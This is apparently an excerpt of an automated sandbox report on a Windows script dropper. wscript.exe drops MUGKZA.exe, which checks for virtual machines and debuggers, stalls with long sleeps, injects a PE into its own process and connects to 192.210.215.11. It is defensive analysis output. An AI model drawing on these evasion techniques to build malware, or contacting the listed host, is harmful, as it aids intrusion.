Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: wscript.exe, 00000000.00000003.1685924299.000002664EBB0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1682779911.000002664E619000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1689955449.000002664ECE5000.00000004.00000020.00020000.00000000.sdmp, MUGKZA.exe, 00000001.00000000.1682693451.00000000005A0000.00000002.00000001.01000000.00000007.sdmp, MUGKZA.exe.0.dr, don701[1].exe.0.dr	Binary or memory string: WINDBG.EXE
Source: wscript.exe, 00000000.00000003.1685924299.000002664EBB0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1682779911.000002664E619000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1689955449.000002664ECE5000.00000004.00000020.00020000.00000000.sdmp, MUGKZA.exe, 00000001.00000000.1682693451.00000000005A0000.00000002.00000001.01000000.00000007.sdmp, MUGKZA.exe.0.dr, don701[1].exe.0.dr	Binary or memory string: WRONG {0} DEBUGGER ('CBSMSG.DLL'). ONLY 'WINDBG.EXE' OR 'CDB.EXE' ARE SUPPORTED.
Source: wscript.exe, 00000000.00000003.1685924299.000002664EBB0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1682779911.000002664E619000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1689955449.000002664ECE5000.00000004.00000020.00020000.00000000.sdmp, MUGKZA.exe, 00000001.00000000.1682693451.00000000005A0000.00000002.00000001.01000000.00000007.sdmp, MUGKZA.exe.0.dr, don701[1].exe.0.dr	Binary or memory string: PLEASE EDIT THE PATH TO THE DEBUGGERS (WINDBG.EXE OR CDB.EXE).7
Source: wscript.exe, 00000000.00000003.1685924299.000002664EBB0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1682779911.000002664E619000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1689955449.000002664ECE5000.00000004.00000020.00020000.00000000.sdmp, MUGKZA.exe, 00000001.00000000.1682693451.00000000005A0000.00000002.00000001.01000000.00000007.sdmp, MUGKZA.exe.0.dr, don701[1].exe.0.dr	Binary or memory string: <DEBUGGER>: SUPPORTED DEBUGGERS ARE WINDBG.EXE AND CDB.EXE.

Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Memory allocated: F40000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Memory allocated: 29A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Memory allocated: F40000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Memory allocated: 2720000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Memory allocated: 2920000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Memory allocated: 2720000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 1799963	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 1799859	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 1799750	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 1799641	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 1799531	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 1799422	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 1799312	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 1799203	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 1799094	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 1798984	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 1798875	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 1798766	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 1798656	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 1798547	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 1798437	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 1798328	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 1798217	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 1798109	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 1798000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 1797891	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 1797781	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 1797672	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 1797562	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 1797453	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 1797344	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Window / User API: threadDelayed 1502			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Window / User API: threadDelayed 8365			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe TID: 7464	Thread sleep time: -26747778906878833s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe TID: 7464	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe TID: 7464	Thread sleep time: -99875s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe TID: 7464	Thread sleep time: -99765s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe TID: 7464	Thread sleep time: -99656s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe TID: 7464	Thread sleep time: -99547s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe TID: 7464	Thread sleep time: -99437s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe TID: 7464	Thread sleep time: -99328s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe TID: 7464	Thread sleep time: -99218s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe TID: 7464	Thread sleep time: -99109s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe TID: 7464	Thread sleep time: -99000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe TID: 7464	Thread sleep time: -98889s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe TID: 7464	Thread sleep time: -98781s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe TID: 7464	Thread sleep time: -98669s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe TID: 7464	Thread sleep time: -98559s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe TID: 7464	Thread sleep time: -98452s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe TID: 7464	Thread sleep time: -98343s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe TID: 7464	Thread sleep time: -98234s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe TID: 7464	Thread sleep time: -98125s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe TID: 7464	Thread sleep time: -98015s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe TID: 7464	Thread sleep time: -97906s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe TID: 7464	Thread sleep time: -97797s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe TID: 7464	Thread sleep time: -97687s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe TID: 7464	Thread sleep time: -97578s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe TID: 7464	Thread sleep time: -97468s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe TID: 7464	Thread sleep time: -97359s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe TID: 7464	Thread sleep time: -1799963s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe TID: 7464	Thread sleep time: -1799859s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe TID: 7464	Thread sleep time: -1799750s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe TID: 7464	Thread sleep time: -1799641s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe TID: 7464	Thread sleep time: -1799531s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe TID: 7464	Thread sleep time: -1799422s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe TID: 7464	Thread sleep time: -1799312s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe TID: 7464	Thread sleep time: -1799203s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe TID: 7464	Thread sleep time: -1799094s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe TID: 7464	Thread sleep time: -1798984s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe TID: 7464	Thread sleep time: -1798875s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe TID: 7464	Thread sleep time: -1798766s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe TID: 7464	Thread sleep time: -1798656s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe TID: 7464	Thread sleep time: -1798547s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe TID: 7464	Thread sleep time: -1798437s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe TID: 7464	Thread sleep time: -1798328s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe TID: 7464	Thread sleep time: -1798217s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe TID: 7464	Thread sleep time: -1798109s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe TID: 7464	Thread sleep time: -1798000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe TID: 7464	Thread sleep time: -1797891s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe TID: 7464	Thread sleep time: -1797781s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe TID: 7464	Thread sleep time: -1797672s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe TID: 7464	Thread sleep time: -1797562s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe TID: 7464	Thread sleep time: -1797453s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe TID: 7464	Thread sleep time: -1797344s >= -30000s	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 99875	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 99765	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 99656	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 99547	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 99437	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 99328	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 99218	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 99109	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 99000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 98889	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 98781	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 98669	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 98559	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 98452	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 98343	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 98234	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 98125	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 98015	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 97906	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 97797	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 97687	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 97578	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 97468	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 97359	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 1799963	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 1799859	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 1799750	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 1799641	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 1799531	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 1799422	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 1799312	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 1799203	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 1799094	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 1798984	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 1798875	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 1798766	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 1798656	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 1798547	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 1798437	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 1798328	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 1798217	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 1798109	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 1798000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 1797891	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 1797781	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 1797672	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 1797562	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 1797453	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Thread delayed: delay time: 1797344	Jump to behavior

Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Source: wscript.exe, 00000000.00000002.1689739493.000002664E5B0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW ,[Nf
Source: wscript.exe, 00000000.00000003.1687043661.000002664E5F3000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1689777321.000002664E5F3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: MUGKZA.exe, 00000002.00000002.2953320109.0000000000B05000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllG
Source: wscript.exe, 00000000.00000002.1689739493.000002664E5B0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWMaS9

Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe

Code function: 1_2_00FED248 CheckRemoteDebuggerPresent,

1_2_00FED248

Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe

Code function: 1_2_00FE4AE8 LdrInitializeThunk,

1_2_00FE4AE8

Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Benign windows process drops PE files

Source: C:\Windows\System32\wscript.exe

File created: don701[1].exe.0.dr

Jump to dropped file

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\wscript.exe

Network Connect: 192.210.215.11 80

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe

Memory written: C:\Users\user\AppData\Local\Temp\MUGKZA.exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\Temp\MUGKZA.exe "C:\Users\user\AppData\Local\Temp\MUGKZA.exe"			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Process created: C:\Users\user\AppData\Local\Temp\MUGKZA.exe "C:\Users\user\AppData\Local\Temp\MUGKZA.exe"			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\MUGKZA.exe VolumeInformation	Jump to behavior
